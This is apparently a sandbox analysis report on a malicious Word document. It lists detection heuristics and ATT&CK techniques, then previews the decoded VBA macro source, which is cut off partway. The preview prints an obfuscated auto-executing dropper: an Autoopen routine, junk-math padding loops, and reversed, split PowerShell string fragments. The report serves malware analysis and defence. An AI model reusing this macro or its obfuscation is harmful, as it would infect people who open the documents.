MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro. The critical heuristic firing indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. The AutoOpen macro marker suggests the malicious code will execute automatically upon opening the document. The macro's obfuscated nature and the Shell() call strongly suggest it's designed to download and execute a second-stage payload.
Heuristics 5
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 155122 bytes |
SHA-256: f54d37db1fbe7b869b46653a1de1bbb4f6aca7d5a1b52200734d6a90d35bfcba |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DuHazkSPT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ovhqS(vjJIR)
For Each ftRAWK In ishZpn
wVoMj = (PPhFl * Sqr(jHrDRC) / 18377 / Rnd(IwUYP - CSng(rBfGW - COZZsw * DVPMM / 29062)) / (aTqoPW * UvABPz))
Next
End Sub
Sub XOjbj(pVhRLV)
For Each GwtlIJ In zXKrrz
iTZYc = (OjGjkd * Sqr(oFlYd) / 88321 / Rnd(ZVCOtG - CSng(NzErk - fHBIti * NZsMB / 60015)) / (vrmlOz * nMRKf))
Next
For Each lBhCo In tqhEc
uWfzdp = (OTRVM * Sqr(dndsv) / 69958 / Rnd(OMlMsq - CSng(AlwOn - FUaZn * bzQDUf / 39273)) / (LNQwmT * QhlTHn))
Next
For Each McWCi In NJMDE
IAzJR = (YHMnVw * Sqr(TionoG) / 63138 / Rnd(KlojRz - CSng(VBAMt - KfTXUm * fEZHXZ / 27355)) / (YWXwX * wPJdz))
Next
End Sub
Sub HlKmIE(JzVPU)
For Each zQFLj In sjszf
PWKMQJ = (UCbutm * Sqr(TXFZCG) / 5708 / Rnd(ZztDcU - CSng(AOoiK - irwjMV * RWWLY / 64542)) / (UdSuZZ * wLTMjZ))
Next
For Each BNFOc In lfIqq
CLDchi = (imWwtF * Sqr(FljdWf) / 91416 / Rnd(PJQwva - CSng(pVbEo - btilh * vafQLJ / 85610)) / (zzfUL * PwuLlj))
Next
End Sub
Sub Autoopen()
On Error Resume Next
For Each azBUp In Ndrzr
tAMksF = (DZEpqH * Sqr(zHfzWA) / 97035 / Rnd(UcdvW - CSng(fXIBnf - oCLBG * fuWILN / 92031)) / (Fwsbr * cfkGwi))
Next
qFZwjAMFJBnm (YCvoCb + UDdVjdUf + KFTzPC)
For Each WwURi In cZYQav
pJSEEY = (HsaTI * Sqr(TFAiuL) / 79427 / Rnd(FjPpO - CSng(QwdfN - mmBmP * rzKdYA / 17096)) / (GWZuVP * RjcCP))
Next
End Sub
Sub PoJPuG(zhENP)
For Each TsNbI In jRBtZ
JwAVCZ = (zCbIAO * Sqr(uGzZSL) / 58858 / Rnd(vODIU - CSng(jYOukj - HCdifd * wrjMN / 57900)) / (ZTcbN * pClRu))
Next
For Each wPdNO In itnEU
miOVDf = (vpTKFl * Sqr(XbvEQ) / 23548 / Rnd(ahAViU - CSng(ikjUzi - iqTwGZ * PcFYbv / 87031)) / (wioHJ * BOAZK))
Next
For Each QFnpFD In slbFKm
LEuwCZ = (Xlwjs * Sqr(cdcTZ) / 92205 / Rnd(iJpQTX - CSng(AVXdd - YAwTD * kstUp / 15830)) / (fCPJH * OHCCPd))
Next
End Sub
Sub iJBBOU(WzbjI)
For Each BLlpp In IGsNlM
wPNVw = (pZsaqr * Sqr(UFqfb) / 67145 / Rnd(riCWN - CSng(PVXmw - pwYnI * cwSqJk / 89918)) / (jfDPMm * LYSMr))
Next
End Sub
Attribute VB_Name = "lRUCFiaB"
Sub wRhCw(hBURbO)
For Each jSHaJN In aFaRUq
wnEGUw = (jlhKnS * Sqr(WzvPuI) / 64922 / Rnd(uiUMY - CSng(qrPhIC - NQLHSB * jaQWu / 99760)) / (IfCah * wtZlHY))
Next
End Sub
Function UDdVjdUf()
On Error Resume Next
For Each tuRciQ In JhjIbG
VUOwRY = (hLNGaD * Sqr(UqaztH) / 13894 / Rnd(InriFu - CSng(wtwbSb - LmpAQ * iEWEM / 16171)) / (qJIiza * MaGnTj))
Next
For Each EBKhQI In bQPpYI
IWluP = (svNWWu * Sqr(tNNnj) / 11824 / Rnd(uDcYwJ - CSng(cpblC - zcbHNr * iIonL / 41597)) / (mNCcF * WXEuN))
Next
zrPfFBPV = lLGpCj("mFJYfyh'+' '+'ni'+' cfsa1yh(hcaerof;)6Z'+'ye6Zy+6Zyxe.'+'6Zy'+'('+' '+'+ '+'BSN'+'1'+'yh + '+'6Zy'+'MYx'+'6'+'Zy + cilbup:vn'+'e1yh ='+' CDS1'i", 89670 - 89670 + 2 + 89670 - 89670, 89670 - 89670 + 137 + 89670 - 89670)
For Each GMQGll In zHQmF
rzDlP = (MaGcOm * Sqr(fkYZYj) / 89225 / Rnd(ltSCC - CSng(rWvWb - DOSSmp * AWzjC / 38196)) / (FjahsF * JGGli))
Next
For Each aSUqUi In PMEhfS
pzwbn = (MwLDYD * Sqr(VPTwTf) / 45388 / Rnd(fIbiXU - CSng(LiYavR - hEcni * iGQRQp / 36642)) / (sHNAv * KrVsQJ))
Next
TBjCfPjpDY = lLGpCj("rE3s'+'n1yh'((QcBcfd", 23854 - 23854 + 7 + 23854 - 23854, 23854 - 23854 + 11 + 23854 - 23854)
For Each kjiwI In MiPTj
uEYrJ = (iBoSX * Sqr(ZAqwq) / 66917 / Rnd(XUFtam - CSng(HSGSd - hAAWlz * ahHiS / 18914)) / (YIjNs * jIjpKw))
Next
For Each bwpZtZ In fFAqcE
cDmKQ = (wltTDZ * Sqr(KfvTJ) / 73007 / Rnd(LwVEIW - CSng(zzFwj - qXqlp * LqpCWW / 36916)) / (dAKhh * LuiiiB))
Next
vbvWAI = lLGpCj("@ksphVY93]rahC[,'6Zy' ECaLPeR- 29]rahC[,)77]rahC[+98]rahC[+021]rahC[( EcALPeRc- 63]rahC[,)94]rahC[+121]rahC[+401]rahC[( EcALPeRn", 10881 - 10881 + 2 + 10881 - 10881, 10881 - 10881 + 122 + 10881 - 10881)
Fo
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.